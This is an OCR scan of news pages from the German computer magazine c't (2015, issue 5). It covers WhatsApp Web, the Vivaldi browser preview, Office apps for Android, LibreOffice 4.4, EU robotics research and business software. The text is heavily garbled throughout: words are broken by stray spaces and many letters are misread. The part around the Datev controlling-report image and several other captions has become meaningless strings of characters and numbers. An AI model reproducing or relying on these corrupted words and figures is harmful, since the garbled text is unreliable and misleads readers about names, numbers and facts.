iPhone-Besitzer müssen weiter­
h in  über d ie App schreiben. 
Grund hierfür sind die Plattform­
Einschränkungen von Apple. 

Die Weboberfläche ist über 
web.whatsapp.com zu erreichen. 
Der Nutzer scannt dort einen QR­
Code, um die App mit dem Web­
Ciient zu verbinden. Das Mobi lge­
rät muss während der Sitzung mit 
dem Internet verbunden bleiben; 
der Client ist als Erweiterung des 
Telefons gedacht. Dort sind auch 
die Nachrichten gespeichert: Auf 
den WhatsApp-Servern verblei­
ben sie nur bis zur erfolgreichen 
Zuste l lung.  (dbe@ct.de) 

Ex-Chef von Opera stellt flotten Browser vor 

Die is länd ische Viva ld i  Technolo­
gies AS hat d ie  erste "Technica l  
Preview" des Web-Browsers Vi­
va ld i  fü r Windows, Mac OS und 
L inux veröffent l icht. H inter dem 
Unternehmen steckt der l ang­
jäh rige Opera-Chef Jon von 
Tetzchner .  Die frühe  Vorabver­
sion von Viva ld i  enthä lt  noch 
nicht a l l e  gep lanten Featu res 
und hakelt hier und da, wirkt 
aber trotzdem vielversprechend. 
Die Preview ist bereits auf 
Deutsch erhä lt l ich. 

Bei a l ler Ähn l ichkeit zu 
Opera 1 2  lässt sich Viva ld i  nicht 
a l s  Versuch abtun, d ie Vergan­
genheit zu rekonstru ieren: Viel­
mehr sol l  Viva ld i  die a lten Opera­
Konzepte weiterentwicke ln .  Bei­
spielsweise werten Screenshot­
Funktionen Lesezeichen und 
Notizen deut l ich auf. E legant ist 
die Kombination aus Lesezeichen 
und Schnel lwah l :  Mit Kl ick auf 
"Als Schnel lwah l  nutzen" baut der 
Browser einen Lesezeichenord­
ner auf der Tab-Startseite ein. 
S innvol l  ist ein Adressbuch nur  in  
Verbindung mit e inem Mai i ­
Ci ient - dieser i s t  aber  in  der ers-

ten Viva ld i-Version noch nicht 
enthalten. Synchronisation von 
Lesezeichen und anderen Nutzer­
daten stehen auf der Roadmap, 
fehlen aber ebenso wie die durch 
Opera bekannt gewordene ser­
verseitige Datenkompression. Vi­
va ld i  so l l  später auch Chrome­
Erweiterungen nutzen können. 

Wie Opera setzt auch Viva ld i  
auf e ine  Chromium-Basis m i t  de r  
B l i nk-Eng ine .  Diese scheint e in  
wenig ä lter zu sei n a l s  d ie  i n  
e ine r  a ktue l len Chrome-Beta, 
aber  neuer a l s  die in Opera 27 
e ingebaute. Die entha ltene Ja­
vaScript-Eng ine V8 stammt von 
Anfang November (Version 
3.30.33) .  Operas eigene Presto­
Eng ine zu imp lementieren kam 
aus  mehreren Gründen nicht in­
frage. Der Code sei nach über  
vier Jahren ohne g rößere U p­
dates hoffnungs los vera l tet, er­
l äuterte von Tetzchner. Außer­
dem bezweife l t  er, dass Opera 
ihm den Code überlassen hätte. 

(Herbert Braun/dbe@ct.de) 

c't: Vorabversion von Viva ld i :  
ct.de/ymaz 

Der Web-Browser Viva ldi soll das a lte Opera-Konzept weiterentwickeln. 
Schon die Vorabversion enthält vielversprechende Funktionen. 

c't 201 5, Heft 5 
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CeBIT-Schülertage mit Bitkorn und HPI 

Das Hasso-Piattner- lnstitut (HP I )  
fü r Softwa resystemtechn ik i n  
Potsdam und der Bundesver­
band l nformationswi rtschaft, Te­
lekommunikation und neue Me­
dien (Bitkom) laden Jugend l iche 
ab 1 6  Jahren zu einem kosten lo­
sen Besuch der CeBIT ( 1 6. bis 
20. März) ein . Die Tei lnehmer, d ie 
e in Gymnas ium oder e ine Rea l­
schu le  besuchen und I nteresse 
an  I nformatik haben müssen, 
werden von I nformatikstudenten 
des HPI betreut und zu Ständen 
großer Ausste l ler gebracht - da­
runter Microsoft, d ie  Deutsche 
Telekom, Fujitsu sowie das 
Bundesmin isteri um  fü r B i ldung 

und Forschung  
(BMBF) .  Dort treffen 
sie auf Fach leute fü r 
Produktentwickl ung 
und Nachwuchskräf­
teausbi ldung.  

Gruppenführungen 
(z. B. fü r komplette 
I nformatik-Ku rse und 
IT-AGs) fi nden an  je-
dem Messetag statt und dauern 
jewei l s  e inen ha lben Tag .  Ent­
sprechende Leh rer-Anmeldun­
gen n immt der Bitkorn entge­
gen. Für Ei nzelbesucher hat das 
HP I  e in On l i ne-Bewerbungsfor­
mu la r  vorbereitet. Diese Schü ler­
plätze werden nach dem Prinzip 

"F i rst come, fi rst ser­
ved" vergeben. Das 
Einzelbesucher-Ange­
bot g i l t  n u r  am 1 8., 
1 9. und 20. Mä rz, je­
wei l s  von 9:30 bis 
1 7  Uh r. Beide Anmel­
deseiten s ind über  
den nachfo lgenden 
c't-L ink erreichbar . 

Das HPI übern immt auch die 
Mittagsverpflegung, fü r d ie  An­
reise nach Hannover müssen die 
Tei l nehmer  a l l e rd ings  se l bst 
sorgen. (pmz@ct.de) 

c't: CeBIT-Schü lertag :  
ct.de/ySap 

Orientierungssemester für naturwissenschaftlich-technische 
Studiengänge 

Die Hochschu l e  Merseburg i n  
Sachsen-Anhalt bietet technisch 
interessierten jungen Menschen 
zum Sommersemester 201 5 
unter den Namen KOMPASS 
erstmals d ie Mögl ichkeit, e in Ori­
entierungssemester fü r natur­
wissenschaftl ich-technische Stu­
d iengänge zu absolvieren. Tei l ­
nehmer erha l ten E inb l icke i n  
acht verschiedene Studiengänge 
und können Grund lagenkennt­
nisse i n  Mathematik, Physik, 
Werkstoffkunde sowie anderen 

Fächern auffrischen. Vermittelt 
werden außerdem Lernstrate­
gien, Zeitmanagement und Prä­
sentationstechn iken. 

Wer das im Apri l  beg innende 
Or ientie rungssemester KOM­
PASS erfo lgreich abschl ießt, hat 
e ine garant ierte Zu lassung fü r 
a l l e  Bachelor- I ngen ieurstud ien­
gänge der  Hochschu le  Merse­
burg i n  der Tasche; die bereits 
erworbenen Leistu ngspu nkte 
werden im  jewei l igen Studien­
gang anerkannt. Tei l nahme-

Voraussetzung ist mindestens 
d ie  Fachhochschu l reife bezie­
hungsweise eine abgesch losse­
ne Berufsausbi l dung  i n  Verbin­
dung mit e iner d reijä h rigen Be­
rufserfahrung sowie eine bestan­
dene Festste l l u ngsprüfung .  
Bewerbungen können noch bis 
zum 1 5 . Februar onl ine e inge­
reicht werden (siehe c't-Li nk) .  

(pmz@ct.de) 

c't: KOMPASS-Webseite: 
ct.de/ySap 

Ratgeber für Fernstudien an Fachhochschulen 201 5 

Die Zentra l ste l l e  fü r Fernstudien 
an  Fachhochschu len  (ZFH)  hat 
e ine aktue l le  Vers ion i h rer  l n­
formationsbroschüre zur berufs­
beg leitenden Weiterb i ldung und 
Qua l ifizierung vorgelegt. Der 
Ratgeber fü r Fernstud ien an 
Fachhochschu len 201 5 trägt den 
Titel "Einfach clever - Fernstudi­
um" und beschrei bt 
mehr a l s  60 betriebs­
wi rtschaftl iche, techni­
sche und sozia lwissen­
schaft l iche Studienan­
gebote der i nsgesamt 
1 8  Partnerhochschu­
len .  I nformiert wird 
auch über Zu lassungs­
voraussetzungen und 
Fördermög l ichkeiten. 

Der Ratgeber fü r 
Fernstudien an Fach­

hochschulen 201 5 
enthält I nformatio­
nen zu mehr als 60 

Studiengängen. 
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Als wissenschaft l iche E inrich­
tung der Bundes länder Rhein­
land-Pfa lz, Hessen und Saa r land 
kooperiert d ie ZFH mit den 1 3  
Länder-Fachhochschu len sowie 
Partnern in  Bayern, Berl in, Nord­
rhein-Westfa len und Branden­
burg. Seit 201 4 g ibt es zudem 
einen neuen Standort in  Wien. 

Derzeit s ind eigenen Angaben 
zufolge rund 4900 Fernstud ieren­
de an den Hochschulen des ZFH­
Verbunds eingesch rieben. Die 
Abschl ussmög l ichkeiten reichen 
je nach Vorbi ldung und Lernum­
fang von Zertifikaten (etwa "Ex­
perte für neue Lerntechnologien" 
oder "Patentrecht fü r I ngenieure 
und Naturwissenschaft ler") bis 
h in zum Bachelor oder Master. 

Am 20. Februar veransta ltet 
d ie  ZFH e inen bundesweiten 
Fernstudientag mit d iversen On­
l i ne-Vorträgen, Live-Chats, Prä­
sentationen und Videos. Die 
Hochschu len Aschaffenburg und 
Da rmstadt ste l l en dabei unter 
anderem den gemeinsamen 
Studiengang "E lektro- und l nfor­
mationstechn ik" vor, der neun 
Semester dauert und  mit dem 
Bache lor  of Eng i neer ing ab­
sch l ießt. (pmz@ct.de) 

c't: Fernstudien-Ratgeber 201 5 :  
ct.de/ySap 

c't 201 5, Heft 5 



aktuel l ! Apps 

MS Office für Android-Tablets, Outlook für Android und iOS 

Microsoft Word, Exce l und 
PowerPoint g ibt es nun auch fü r 
And roid-Tablets a l s  kosten lose 
Apps. Mit ihnen kann man Doku­
mente betrachten, erste l len und 
e ingesch ränkt auch bea rbeiten. 
Speichern kann  man s ie i n  der 
Microsoft-Cioud und bei Drop­
box, aber auch loka l .  E ine exter­
ne Tastatur ist nicht nötig, aber 
sehr praktisch, da d ie vi rtue l l e  
Tastatur  Dokumente zur  Hä lfte 
verdeckt. 

Die Apps setzen And roid 4.4 
oder 5 und mindestens 1 GByte 
RAM voraus .  Fü r  v ie le Funktio­
nen (zum Beispie l mehrspalt ige 
Layouts i n  Word) braucht man 
ein Office-365-Abo (ab 7 Euro im 
Monat). Auch mit Abo feh len im 
Verg le ich zum Desktop-Office 
viele Featu res. 

Außerdem hat Microsoft Out­
look fü r iOS und Android veröf­
fent l icht. Dabei hande lt  es s ich 
um umbenannte Versionen der 
App Acompl i, d ie  Microsoft im 
Dezember übernommen hatte. 
Sie trennen den Posteingang in 
zwei Ansichten: eine fü r a l l e  
Ma i l s  und e i ne  fü r von  Out look 
a l s  wicht ig erkannte, wobei d ie  
App vom Nutzerverha lten lernt. 

Die And roid-Version läuft auf 
Smartphones und Tablets mit 
Android 4.0 oder höher. Die iOS­
Version ver langt das aktue l l e  
i05 8. 

Der Nü rnberger Anbieter Soft­
maker hat auf d ie Microsoft­
Apps reag iert: Er verschenkt ab  
sofort seine Android-Apps Text­
Maker, P lanMaker und Presenta­
tions. Sie sind auf Smartphones 
zugeschn itten, laufen aber auch 

c't Al le Apps 
d ieser Seite 
unter ct.de/y7bt 

auf Tablets und bieten die wich­
tigsten Bea rbeitungsfunktionen. 
Die fü r Tablets optimierten HO­
Versionen mit weitaus g rößerem 
Funktionsumfang kosten weiter­
h in  je 8 Euro. (cwo@ct.de) 
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Office fü r Android ist kostenlos, aber viele Funktionen, 
zum Beispiel "Änderungen nachverfolgen", setzen ein 
kostenpfl ichtiges Abo voraus. 

Quizduell :  App-Nutzer spielen gegen TV-Gäste @ App-Notizen 
Die ARD versucht s ich erneut an  
e ine r  i nteraktiven Qu izshow: 
Während der Live-Sendung 
"Quizdue l l "  sp ie len Nutzer der  
iOS- und Android-App "Quizdu­
el l  im Ersten" gemeinsam a l s  
"Team Deutsch land" gegen e in 

Quizduel l  b leibt auch im 
TV beim bekannten Konzept: 
4 Antwortmögl ichkeiten, 
1 5  Sekunden Zeit. 

c't 20 1 5, Heft 5 

Duo im Stud io .  Die Sendung 
läuft von  Anfang Februar b i s  
Mitte Mai  immer montags b i s  
freitags um 18  Uh r. Be i  der ers­
ten Staffe l im F rühjahr  201 4 
konnten d ie App-Nutzer wegen 
technischer Probleme öfters 
nicht mitspielen. 

Zu jeder F rage g ibt es vier Ant­
wortmögl ichkeiten, das Zeitl imit 
l iegt bei 1 5  Sekunden.  Die Ant­
wort mit den meisten Stimmen 
ist  repräsentativ fü r das "Team 
Deutsch land". Bei e inem Sieg 
oder e inem Unentschieden ver­
lost die ARD unter den App-Spie­
lern, die ih re Mai ladresse einge­
tragen haben, Geldgewinne. 

Die Mindestanforderungen 
l iegen be i  And roid 4.1  und iOS 
7 .0 .  E ine App fü r Windows 
Phone ist noch nicht vorhanden, 
d iese so l l  im Laufe der Staffe l 
noch nachgereicht werden.  Die 
a ltbekannte Quizdue i i-App von 
FEO Media g ibt es weiterh in 
(iOS, Android, Windows Phone) . 
Beide Apps ste l l en neben den 
klassischen Textfragen nun  auch 
Bi lderrätsel .  

(Robin Beck/cwo@ct.de) 

Mit Be My Eyes fü r iOS fra­
gen Sehbehinderte über das 
I nternet Sehende um Hi l fe 
bei Al ltagsproblemen. Die 
App streamt wie Skype das 
Live-Bi ld der iPhone-Kamera, 
sodass der sehende Nutzer 
Gegenstände fü r den b l in­
den Nutzer identifizieren 
kann .  

Von Dropbox g ibt es nun  
endl ich offizie l l e  Apps fü r 
Windows Phone 8 sowie fü r 
die Kacheloberfläche von 
Windows 8 und Windows RT. 

Mit der App Surfer haben 
Rechte beantwortet der 
Bundesverband der Ver­
braucherzentra len typische 
Rechtsfragen zu On l i ne­
Themen, zum Beispiel zu 
Auktionen und Shopping­
Gutscheinen. Mit der Funk­
tion "Das schwarze Schaf" 
kann man unseriöse An­
bieter bei den Verbraucher­
schützern anschwärzen. 

45 



aktuel l  I Anwendungen 

MS Office 201 6 angekündigt 

Die nächste Version von Micro­
softs Desktop-Bü rosuite so l l  im 
zweiten Ha lbjahr  201 5 erschei­
nen und Office 201 6 heißen, kün­
d igte das Office-Team einen Tag 
nach der Windows-1 0-Präsentati­
on in  einem Blag-Eintrag an. Wie 
bisher sol len die Office-Program­
me vor a l l em auf Tastatur- und 
Mausbed ienung ausgerichtet 
sein .  Einzel heiten zur neuen Of-

fice-Version wi l l  Microsoft erst in  
den nächsten Wochen bekannt­
geben. Voraussicht l ich wird s ie 
e ine neue H i l fefunktion enthal­
ten, d ie dem Anwender auch bei 
E ingaben wie ,. Ich möchte das 
Dokument d rucken" weiterhelfen 
sol l .  So e ine H i lfe ist bereits i n  
den  Onl i ne-Versionen von Word, 
Excel und PowerPoint enthalten. 

(db@ct.de) 

Detai lverbesserungen für LibreOffice 

Nach mehreren Updates zur Feh­
lerkorrektur bringt LibreOffice 4.4 
eine Reihe kleinere Neuerungen. 
Neue Import-F i lter lesen jetzt 
auch Pagemaker- und RagTime­
Dokumente sowie MacDraw­
Zeichnungen.  Die bestehenden 
Import-Export-Fi lter wurden ver­
bessert, i nsbesondere d ie fü r 
Microsofts OOXML-Formate wie 
DOCX, XLSX und PPTX. Die freien 
Sch riften Ca rl ito und Ca ladea 
so l len unter L inux Microsofts 

Cambria ersetzen, um Microsoft­
Office-Dokumente mögl ichst ori­
g ina lgetreu anzuzeigen. 

Mod ifi kat ionen an  der  Ober­
fläche so l len die Arbeit er le ich­
tern. Dazu hat das L ibreOffice­
Team die Symbol leisten aufge­
räumt sowie Dialoge, Menüs und 
d ie Seiten leiste übera rbeitet. Li­
breOffice 4.4 steht fü r Windows, 
L inux und Mac OS zum Down­
load bereit. (db@ct.de) 

proprietäre Schriften Ca l ibri und c'l: Down Ioad: ct.de/yxn8 

l n  L ibreOffice 4.4 haben die Entwickler viele Deta i l s  
verbessert. Zum Beispiel lassen sich Absatzvorlagen jetzt 
im Auswah ldia log ändern. 

Statistiksammlung Unistat erweitert 

Etwa einmal im Jahr bündelt der 
britische Herstel ler Unistat Ergän­
zungen fü r seine g leichnamige 
Statistik-Software in  e inem Minor 
Release. Version 6.5.05 hat Funk­
t ionen zu Ana lyse von Dosis­
Wirkung-Zusammenhängen er­
ha lten und kann  d iese g rafisch 
da rste l len .  

Unistat läuft a ls  eigenständige 
Anwendung oder a l s  Add-in fü r 
Excel und ergänzt letzteres um 
viele Funktionen für fortgeschrit-
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tene Datenana lyse und Repor­
ting. Version 6.5 läuft unter Win­
dows und kooperiert mit Excel 97 
bis 201 3 .  Die Light-Edit ion, bei 
der die Menge der bearbeitbaren 
Daten besch ränkt ist, kostet 300 
US-Dol lar .  Die Standard Edition, 
d ie auch Makros sowie ein SDK 
umfasst, kostet 995 US-Dol lar (Up­
date: 500 US-Dol lar) . (dwi@ct.de) 

c'l: Testversionen und Tutoria l :  
ct.de/yxn8 

Notensatzprogramm Forte für den Einstieg 

Das Notensatzprogramm Forte 
ist in Version 6 als Box-Version 
beim Softwa re-Vertr ieb Avan­
quest erschienen. Es r ichtet sich 
an  Hobby-Komponisten sowie 
Chor- und Ensemble-Leiter und 
wurde von Mus ikpädagogen im 
norddeutschen Lugert Ver lag 
entwickelt. 

Forte setzt maxima l  zwei 
Stimmen pro Notenzei le, unter­
stützt Schlagzeugnotation, d ie  
E ingabe e inze lner  Noten per  
Maus, Tastatur  und M I DI-Key­
board sowie das Transponieren 
i n  e ine andere Tona rt. Das Pro­
g ramm kann  M ID I-Dateien im­
portieren und export ieren. E in 
Tongenerator sp ie l t  den Satz ab 
und exportiert i hn  a l s  Aud io­
Datei. Außerdem sol len sich VST­
Instrumente nutzen lassen. 

Forte erscheint i n  vier Va rian­
ten. Das kosten lose Forte F ree 
unterstützt ledigl ich eine Noten-

FrOhllngsgruß 

zei le p lus  Akkordbeg leitung und 
e iner Liedstrophe, import iert 
aber  Noten aus  M ID I-Dateien.  
Forte Basic (30 Eu ro) importiert 
auch Mus icXML und ist auf vier 
Notenze i len, zwei Liedstrophen 
und WAV-Ausgabe besch ränkt. 
Die Horne-Edition ( 1  00 Euro) un­
terstützt 1 6  Notenze i len und  
sechs Strophen sowie Gitarren­
g rifftabel len .  Außerdem g ibt sie 
auch MP3 aus .  Die Premium-Ver­
s ion ( 1 90 Eu ro) export iert Mu­
s icXML und br ingt e in  Scan­
Modu l  sowie fü r den Forte P layer 
e ine Orchester-Klangb ib l iothek 
mit . Testversionen und d ie Gra­
tisa usgabe stehen bei Lugert 
zum Download bereit. Außer­
dem bietet der Verlag eine Aus­
wah l  Klassi knoten zum kosten­
losen Download an. (akr@ct.de) 

c'l: Testversionen, Grat is-Aus­
gabe und Noten: ct.de/yxn8 
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Das Notensatzprogramm Forte setzt mehrstimmigen Satz 
inklusive Liedtext und g ibt Audio-Dateien aus. 

Bilder entrauschen mit Denoise projects 

Denoise projects aus dem Franzis 
Verlag reduziert B i ldrauschen i n  
Digitalfotos. Dabei zeichnet es  
l au t  Herste l ler  Artefakte nicht 
weich, sondern ersetzt sie du rch 
Farbpixel aus der Umgebung, 
wendet Da rk-Frame- oder F lat­
F rame-Korrekturbi lder an wie i n  
de r  Astrofotografie oder verrech­
net aneinander ausgerichtete 
Bi ldstapel (Noise-Stacking) . Das 
Prog ramm kennt 87 ISO-Vor­
einstel l ungen fü r JPEG-, Raw-, 
Smartphone- und Web-Fotos. Die 
sieben Algorithmen Luminanz-

rauschen, Fa rbrauschen, Banding, 
Fa rbwo lkung, Hotpixel, Salt & 
Pepper und Lücken nehmen sich 
unterschied l icher Probleme an .  

Das Prog ramm steht fü r Win­
dows und Mac OS a l s  32- und 64-
Bit-Version zur  Verfügung und 
a rbeitet a l s  Stand-a lone-Pro­
g ramm oder als Pl ug-in i n  Photo­
shop und Photoshop E lements. 
Denoise Profess iona l  kostet 
1 30 Euro. E ine Standa rd-Version 
ohne Noise-Stacking, Stapelver­
a rbeitung und Raw-Konverter 
g ibts fü r 70 Euro. (akr@ct.de) 

c't 201 5, Heft 5 



aktuel l  I Forschung 

EU-Kommission klopft neue Forschungsschwerpunkte in der Robotik fest 

Die Eu ropäische Kommission hat 
Ende Januar  i nsgesamt 1 7  län­
derü bergreifende Robotik-Pro­
jekte benannt, d ie  im Rahmen 
des EU-Forschungsrahmenpro­
gramms "Horizont 2020" i n  den 
kommenden Jahren jewei l s  mit 
mehreren M i l l ionen Euro geför­
dert werden.  Das woh l  span­
nendste Projekt trägt den 
Namen Centau ro und wird vom 
I nstitut fü r I nformatik der Univer-
sität Bonn koord in iert. 

Gemeinsam mit acht Partnern 
aus Forschung und I ndustr ie 
wol len d ie Bonner Wissenschaft­
ler e in tei l -humanoides Robotik­
system fü r Rettungseinsätze ent­
wicke ln, das eine besondere 
Steuerung aufweist: Statt den 
Roboter wie sonst üb l ich über 
eine Bed ienkonsole mit Joysticks 
fernzu lenken, so l len bei Centaura 
Kopf-, Arm- und Handbewegun­
gen eines Menschen d i rekt auf 
d ie Masch ine übertragen wer­
den. 

Dazu werden über d ie  Robo­
ter-Sensorik zunächst deta i l l ierte 
I nformationen der E insatzumge­
bung erfasst und die Daten in 
e in 3D-Model l  überführt. Der Ro­
boterführer bekommt die aufbe­
reiteten I nformationen in e ine 
Datenbri l l e  eingeblendet, sodass 
er s ich in e iner virtue l len Weit 
orientieren kann. Außerdem trägt 
der Operator ein Exoskelett, das 
ähn l iche F re iheitsgrade wie der 
Roboter aufweist und fü r das 
Tracking se iner Bewegungen im 
Raum genutzt wird. 

Sol l der Roboter nun etwa 
eine Schraube lösen oder e inen 
Gegenstand bewegen, führt der 
Operator d iese Aktion im Kon­
tro l l raum aus und das Exoskelett 
übersetzt d ie  Bewegungen 1 : 1  
auf den Roboter. Umgekehrt las­
sen sich auch haptische I nforma­
tionen d i rekt vom Roboter an  
den  Menschen überm itte ln .  So  
kann  de r  Operator über da s  Exo­
skelett beispie lsweise füh len, 
wie fest e ine verrostete Schrau­
be sitzt. 

Nu r  "tei l -h umanoid" ist der 
Roboter desha l b, wei l se in Un­
terbau n icht aus  zwei, sondern 
aus vier Beinen besteht, um eine 
bessere Stab i l ität i n  schwierigem 
Terra in  zu gewähr le isten. l n  der 
g riechischen Mythologie s ind 
solche Mischwesen unter dem 
Namen Kentau r  bekannt  - was 
auch zum Namen Centau ro füh r­
te. Die EU-Kommiss ion fördert 
das Centau ro-Projekt bis 201 8 
mit rund 4, 1 M i l l ionen Euro. Be­
te i l igt  s ind auf deutscher Seite 
auch die RWTH Aachen, d ie pro­
genoX GmbH sowie die Kern­
techn ische H i lfsdienst GmbH. 

Können Roboter 
trä u m e n ?  

D ie  Un iversität Bonn  ist außer­
dem am Projekt RobDREAM be­
tei l igt, das 5,4 Mi l l ionen Euro aus 
dem Horizont-2020-Etat erhä l t  
und vom deutschen lndustrie­
robotik-Spezia l isten KUKA gelei­
tet wird. Ziel des Forschungspro-

jekts ist es, Sel bst lern-Aigorith­
men für industriel l genutzte mo­
bi le Manipu lationsroboter zu ent­
wickeln .  Die Roboter sol len wäh­
rend inaktiver ("Sch laf-")Phasen 
künftig die Zeit nutzen, um Fähig­
keiten wie Umweltbeobachtung, 
Raumorientierung und Greif­
fertigkeiten selbst zu optimieren. 

Gewählt  wurde der Projekt­
name RobDREAM in An lehnung 
an neurophysiologische Prozesse, 
die beim Menschen während des 
Träumens ablaufen. Auf Roboter 
übertragen bedeutet d ies laut 
den Wissenschaftlern, dass d ie 
Masch inen in  die Lage versetzt 
werden, im Ruhezustand "Erfah­
rungen zu vera rbeiten, die sie 
während eines Arbeitstages ge­
sammelt haben". Diese I nforma­
tionen sollen dann in  S imulatio­
nen einfl ießen, damit die Roboter 
"eigene Lösungen fü r zukünftige 
Situationen" entwickeln können. 

. . . 

Rund 3,2 Mi l l ionen Euro ste l l t  
d ie EU-Kommission dem Projekt 
FLOBOT ("F ioor Wash ing Robot 
for Profess iona l  Users") zur Ver­
fügung .  Putzroboter a Ia Room­
ba s ind d ie einzigen Robotiksys­
teme, d ie es bis lang in d ie Privat­
hausha lte geschafft haben - ein 
Pendant fü r den gewerbl ichen 
Bere ich exist iert derzeit aber 
n icht. Das so l l  s ich mit F LOBOT 
ändern :  B is Ende 201 7 wol len 
neun Projektpartner unter Lei­
tung des "Cyprus Resea rch and  
I nnovation Center" professionel­
l e  Putzroboter mit autonomen 
Fäh igkeiten sowie Schwa rm­
i nte l l igenz entwicke ln ,  d ie  bei­
spie lsweise an  F lughäfen, in  Su­
permärkten und g roßen Verwa l­
tungsgebäuden eingesetzt wer­
den können. (pmz@ct.de) 

c't: Neue Robotik-Projekte der 
EU :  ct.de/ykhx 

. . 

Der Oberkörper 
des Centaura­
Roboters - im Bi ld 
eine Designstudie 
der RWTH Aachen 
- wird über ein 
Exoskelett 
gesteuert, das 
auch haptische 
Rückmeldungen 
an  den Operator 
zulässt . 

CodeMeter®: Starker Schutz für Embedded-Systeme 
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aktuel l  I Unternehmens-Anwendungen 

Web-FiBu für Handwerker 

Das webgestützte Branchenpaket "Bau und 
Handwerk" der Datev so l l  Handwerkern des 
Bauhaupt- und -nebengewerbes konkrete 
Anhaltspunkte fü r die Vor- und Nachka lku la­
tion i h rer Aufträge an die Hand geben. Zur  
Berechnung von Zusch lagsätzen berücksich­
tigt die Anwendung Lohnkosten mitsamt 
Verwa ltungskostenzuschlag und d ifferenziert 
zwischen produktiven und unproduktiven 
Stunden. Zusätzl ich zu den Tabel len der re­
gelmäßigen betriebswi rtschaftl iehen Auswer-

tung l iefert der Dienst g rafisch aufbereitete 
Contro l l i ng-Reports mit Kennzah len und 
Trends. Tiefer gehende Ana lysen, etwa nach 
Kostenste l len oder -trägem, müssen geson­
dert angefordert werden. Die Software ist a l s  
Erweiterung der Datev-Dienste "Mittelstand 
Faktura" und "Rechnungswesen pro" über 
Datev-Steuerberater abonnierbar und kostet 
im Jahr 201 S keinen Aufpreis. Ab 201 6 fa l len 
Netto-Zusatzkosten von 1 2  bis 18 Euro pro 
Jahr an. (hps@ct.de) 

Controlllngreport M usterGmbH 
März 2014 

fn.IIIW•ft ...... , .... 
T.- Mr't:201. Mn: 201l 

.,..", 

'r -- ---- ... . ' 010 583,58 1 1 :zt ..l81 ,.a.  
Mit.IWM!I!'W!!ir'IUIJ ... 368 290.88 3& 1132,30 
- - e> 575.oU6..19 576.7 .. 1 ,.52  
- - " $6J 090.91 S.:2.,400,05 
......_ .. t e 2J.231.&4 l& Z23 1J  
MtltJ UMJWtfOtiCIInlt.IMA an �  f . I "" """ ....... 
MMI G..amllkodttl an �U'Igl ,. ,",  48.1� 
.............,. ,..._ ... Gou_..,., 2 13 .. ll"" 

Uq-
FniMZmitlet llll Beglm OOt �  --41 18,5.()4 &,7tQ.7D �eenoetW!d .. � �nten 
CNN!Ow 14. Gttenalttd!lgktlt " . .... 1 41-4 ,4!1 ..... .. Ut ...... � .".. �Nr UouldiiM 
C..h'klw ffll�ng ... -2l M.I3 -11 .75e.i0 .,.�� •�:�� O.m �u�lctl t Calhlklw l� I 120 558,35 41. 16'7, 1 5 ... � il� d8m llrMoRI!bl5blnldl 
� am Efldll a. P9rioda  I • HtSOl.OO �14.1i2. � Kasenbti\ind . � � 

Prhtattlrtrei�pillll I 
BnDti� \Jrl� 0.00 D OD  -- - - f N.tsuh� Une.rMII"* 01>0 DOD �lndiJ1CU9111 dUrdl fntn...,..., 4 

fonMnm�JM u.ncl Y.wncslchtwn.n � . I i Fottloru�ea .,.  UttoNngon und �n 175 331.11) 2!1.346 32 - � -- � · �- - La L- t.- � l � {lJI'nwlllrtiM t .SO  t.cr. EttcR} 1 011 .273.55 1.1 21.104.32 

�r 
� · � c. T• im �.num .. .. � • Zialgaw4tvmg an I<Lindi!n ln T191fl " . 21 ., • �QIIIM1 .. 1 � Iftl la� " 187 :&5,1 7 ,!2..818 11 � 

�WMicMJ KU!ldert. ml dalllfl 13 0. . a �!n 8ft!CN �  27..27" ,....,. • 
.......,,.,. Mr lilftf'WH\ won d!nfJn I!D'IIo cw ... I • 
......._ , ... _ _ _  24,00.0 li.M>. ' 

• 
; 

MIDI - --.... � ....... ..., ---..n twc • �  ........ � lioOII'WI .. NICft �  _ _  " 

Mit optionalen Contro l l ing-Reports informiert die Datev-Software 
auf Anhieb über die Geschäftslage. 

Gratis-Kontaktverwaltung 

Nicht nur  Kontakte, sondern auch Werbekam­
pagnen, E-Ma i l -Vertei ler und Termine sol len 
sich mit dem kosten losen Paket MeinCRM4 
verwa lten lassen. Die Anwendung enthält au­
ßerdem eine Dublettenprüfung, eine Compu­
ter-Telefon ie-Schn ittste l le  und verzahnt sich 
zum Schreiben von Briefen und fü r Auswer-

·� "__ 

tungen mit OpenOffice. Laut Herste l ler Adito 
taugt sie damit zum kompletten Faktura-Pro­
gramm. MeinCRM4 ist a ls  Einzelplatzpaket für 
Windows, Mac OS oder Linux herunterladbar 
und lässt sich mit einem kosten losen Zusatz­
Lizenzcode für maximal d rei Benutzer g leich­
zeitig einsetzen. (hps@ct.de) 

"'eum'ltt'§ ......... 

" 1l 
........ I ' 
- 3  0 
- D ' Die Bedien-u- (T() • ••• 

oberfläche von l.GY•I!Ut GfO!U 
""""' • Adito Mein-

Alll_''"""" UrmiU �' ,_ Q'l l  �l'(fft ,, CRM4 ist recht 
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Customer 
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NoSQL-Datenbank mit 
Anwendungs-Framework 

Version 2.4 der que l loffenen NoSQL-Daten­
bank ArangoDB vom Herste l ler triAGENS um­
fasst das App l ikat ions-Framework Foxx 2.0. 
Mit d iesen Komponenten auf Basis von 
JavaScript oder mit ECMAScript 6 kann man 
eigene Mi kroservices prog rammieren und  
Anwendern m i t  REST- oder  Web-API zur Ver­
fügung ste l l en .  Die auch a l s  Graph-Daten­
bank  nutzbare Eng ine steht im Que l l text 
sowie in Form maßgeschneiderter B ina ries 
fü r Windows, Mac OS, zah l reiche L inux-Dis­
tr ibut ionen oder als Docker-Conta iner zum 
kosten losen Download im Web. Ebenfa l l s  
kostenlos verfügbar s i nd  Front-Ends und Zu­
satzmodu le  fü r Nutzer von php, .N ET, Java, 
Ruby, Python und weitere. (hps@ct.de) 

c't Zah l reiche Down Ioads: ct.de/y89j 

Buchhalter-Fal lgrube 

Auffä l l ig unauffä l l ig, näml ich in einem Rund­
schreiben vom vergangenen November, hat 
das Bundesfinanzmin isteri um  neue Vor­
sch riften fü r Buchha lter in Kraft gesetzt. Seit 
Jahresanfang ge lten die GoBD (Grundsätze 
zur ordnungsmäßigen Füh rung und Aufbe­
wahrung von Büchern, Aufzeichnungen und 
Unter lagen i n  e lektronischer Form sowie 
zum Datenzugriff) als Nachfolgerege lungen 
fü r d ie GoBS (Grundsätze ordnungsmäßiger 
Buchfüh rungssysteme) und d ie GDPdU 
(Grundsätze zum Datenzugriff und zur Prüf­
ba rkeit d ig ita ler Unterlagen). Die wichtigsten 
Passagen der GoBD konkretisieren d rei a ltbe­
kannte Erfordernisse - das aber so, dass 
jedes Unternehmen seine Praxis auf notwen­
dige Umstel l ungen abklopfen sol l te. 

